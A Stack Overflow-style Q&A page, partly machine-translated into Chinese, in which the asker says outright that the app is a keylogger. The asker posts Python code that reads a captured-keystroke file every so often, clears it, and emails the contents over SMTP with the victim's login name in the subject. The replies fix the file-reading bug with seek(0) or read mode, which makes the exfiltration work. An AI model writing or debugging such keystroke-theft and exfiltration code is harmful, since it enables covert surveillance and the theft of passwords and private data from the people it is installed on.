【问题标题】:open() doesn't manage to read the content of my file [duplicate]open() 无法读取我的文件的内容 [重复]
【发布时间】:2022-01-15 05:31:11
【问题描述】:

我的应用是键盘记录器。我使用一个线程来设置一个计时器,将文件“final.txt”的内容发送到我的电子邮件。实际的电子邮件发送过程工作正常,但虽然文件不是空的(我检查过),但当我尝试发送它时它显示为空。运行“proc”后,文件也会清空。

为什么会发生这种情况,我该如何解决?

    def proc():
        while True:           
                            
            with open("final.txt","a+") as mailFile:

                print(mailFile.read() +' end') 

                data ="====== \n DATA \n ====== \n \n" + mailFile.read()
              
                if len(mailFile.read()) > 0:
                    with open('final.txt','w') as tempFile: 
                        tempFile.truncate()
                        tempFile.close()
                    file.close() 
                    send(data)
                        
                else:
                    file.close()            
            time.sleep(HOUR/60)

    x = threading.Thread(target=proc)
    x.start()

    def send(file):
            msg = EmailMessage()

            msg['From'] = sender_email
            msg['To'] = reciver_email
            msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
            msg.set_content(file)
            try:
                server = smtplib.SMTP('64.233.184.108')
                server.starttls()
                server.login(sender_email,password)
            except:
                send_mode('Disonnected')
                sys.exit()
            server.send_message(msg)
            server.quit()

【问题讨论】:

  • 我几乎不知道proc() 想要做什么,但如果你运行some_file.read() 它会读取整个文件。如果您再次执行some_file.read(),它只会返回空字符串:''
  • @mechanical_meat 我尝试在再次阅读之前执行 file.close() 但它仍然无法正常工作。如果我尝试同时打开文件 2 次,第二次将返回 '' ?
  • 查看.seek(0) 回到文件开头;无需关闭并重新打开。

标签: python smtp smtplib


【解决方案1】:

您需要以任何方式附加文件吗?看起来你只是在尝试阅读它,如果有文字抓取内容并发送。

open() 方法中的 a+ 标志用于附加文件 - 在这种情况下,您可能只使用 'r' 标志。这应该会给你想要的文本。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2016-12-19
    • 2021-12-26
    • 2021-07-25
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多